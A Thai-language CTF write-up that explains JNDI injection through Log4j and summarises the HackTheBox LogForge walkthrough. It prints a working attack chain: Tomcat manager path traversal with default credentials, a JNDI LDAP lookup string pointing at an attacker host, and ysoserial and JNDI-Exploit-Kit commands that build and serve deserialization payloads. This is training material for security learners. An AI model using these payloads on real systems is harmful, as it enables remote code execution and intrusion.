JNDI Injection, lab secplayground, สรุป LogForge
JNDI = Java Naming and Directory Interface เป็นวิธีที่ java ใช้ในการรวม address ของ component ต่างๆไว้ที่เดียวกัน
JNDI Injection = การ hack โดยใช้ประโยชน์จาก JNDI
โอเค ในการอธิบายให้เห็นภาพ มาใช้ภาพของเคส Log4j ซึ่งเป็นหนึ่งใน JNDI injection กัน
โอเค จากภาพ
- attacker ส่ง payload ที่มี string JNDI เข้าไปที่ victim server
- victim server ทำการส่ง payload ไปเก็บเป็น log ที่ log4j
- ขั้นตอนนี้แหละที่เกิดการ process string JNDI
โดย log4j จะคิดว่า victim server ต้องการ output จาก string JNDI นี้
ซึ่งมาตรฐานการทำงานทั่วไปคือ เมื่อได้ string JNDI มา จะติดไปยังที่อยู่ตาม string JNDI นั้น และที่อยู่ปลายทางจะส่งข้อมูลกลับมาในลักษณะ serialized object เพื่อให้ต้นทางนำมาแปลงเป็น object ไปใช้งานต่อไป
4. serialized object ถูกส่งกลับไปผ่าน log4j โดย attacker จะเฟ้นหา object แบบเดียวกันกับที่ victim server มี เพื่อให้ victim server สามารถ deserialize ออกมาได้ โดยอาจจะเป็น code ของ lib สัก lib นึงที่ victim server ลงไว้
5. victim server ได้รับ serialized object จาก log4j และทำการ deserialize ออกมา (อาจจะคิดว่าเป็นค่า return จาก log4j) เมื่อ object ถูกสร้างขึ้น และใน object นั้นมีการรัน malicious code เช่น รัน system command จะทำให้ victim server ถูก hack ในที่สุด
lab secplayground
ใน lab จะมี server ที่ทำการเปิดรับ jndi url ซึ่ง attacker จะต้องทำการ setup environment คล้ายๆกับขั้นตอนด้านบน เพื่อทำให้ malicious code ถูกรันบน victim server ได้ในที่สุด
LogForge
LogForge เป็น ctf โดยเราจะนำ writeup จาก https://infosecwriteups.com/logforge-from-hackthebox-detailed-walkthrough-9c3a921a9171 มาสรุปอีกทีละนะ
lab นี้เป็น server ที่ใช้ tomcat ในการ serve code และใช้ apache ในการทำ reverse proxy
โดย tomcat ที่ติดตั้งอยู่มีช่องโหว่ในการเข้าถึง manager console จากภายนอกได้นั่นคือการพิมพ์ url
/<random_string>/../manager
ซึ่งจะเข้า path /manager ที่ปกติแล้วไม่เปิดให้เข้าได้
และเมื่อใช้ default credential ของ tomcat ก็จะเข้าไปใน web console ของ tomcat ได้
จากนั้น attacker ทำการเปิด port ldap ที่เครื่องตัวเองด้วย
nc -nlvp 389
และปั้น JNDI url เพื่อให้ผู้รับติดต่อมายังที่ ldap server นี้ โดยได้เป็น
${jndi:ldap://<attacker ip>/<object ที่จะ client ต้องการ ตอนนี้ให้ใส่ค่าอะไรก็ได้เช่น cat>}
จากนั้นนำ jndi url นี้ไปใส่ตาม field ต่างๆบนเว็บ tomcat เพื่อหาดูว่ามีตรงไหนที่ทำการ lookup JNDI มั้ย
จนพบว่าใน form ตั้ง expire session เมื่อใส่ JNDI url ไป จะเกิดการติดต่อกลับมาที่ port 389 ของ attacker เพื่อขอ object cat
โอเค แทนที่จะให้ victim server มาขอ object มั่วๆ
มาส่ง command ให้ victim server ไปรันเลยดีกว่า
โดย attacker จะใช้
- https://github.com/pimps/JNDI-Exploit-Kit.git ในการเปิด server ldap/rmi
- https://github.com/pimps/ysoserial-modified ในการปั้น payload ที่ซ่อน command ข้างใน
โดยในการโจมตีให้สำเร็จนั้น payload ที่ victim server ได้รับ เมื่อถูก deserialize ออกมา จะต้องเป็น class ที่ victim server รู้จัก (เป็น class ที่มีใน code ของ victim server อยู่แล้ว)
ซึ่ง ysoserial จะรวบรวม class ที่ถูกใช้กันประจำไว้อยู่แล้ว เช่นถ้าใช้ class CommonCollections5 ก็จะได้ command เป็น
java -jar ysoserial-modified/target/ysoserial-modified.jar CommonsCollections5 bash 'ping -c <ip attacker>' > <ตั้งชื่อ เช่น payload>.ser
และใช้ jndi exploit kit ในการเปิด server ที่จะ serve command นี้ โดยใช้คำสั่ง
java -jar JNDI-Exploit-Kit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -P <ตำแหน่ง payload.ser ที่เราสร้างเมื่อกี้> -L <จะให้ victim ติดต่อมาที่ address ไหน เช่น ถ้าจะเปิด ladp ก็ public ip เรา:389>
โดย jndi exploit kit จะ gen jndi url ให้ object command ของเราตามรูป
โดยเนื่องจาก attacker ไม่เห็น code ของ victim server ดังนั้น attacker ต้องวนสุ่ม
- class ที่ server มี เช่น วน class ที่ ysoserial มีให้ไปเรื่อยๆ
- java version ของ server โดย jndi exploit kit จะ gen url ที่ไว้ใช้กับแต่ละ version มา ก็ต้องลองวนใช้อันนี้
โดย attacker จะใช้ tcpdump ในการเปิดดูว่ามีใคร ping มาไหม
และวนส่ง payload แบบต่างๆตามที่บอกไป
จนกระทั่งเจอว่า jndi url ที่สร้างจาก JDK 1.5 และ CommonCollections ใช้ได้ (มี ping เข้ามา) ก็จะเป็นการทำ command injection ที่สำเร็จ
หลังจากนี้จะเป็นการเข้าไปเอา flag บน server โดยหากใครสนใจ สามารถตามอ่านต่อได้ที่ https://infosecwriteups.com/logforge-from-hackthebox-detailed-walkthrough-9c3a921a9171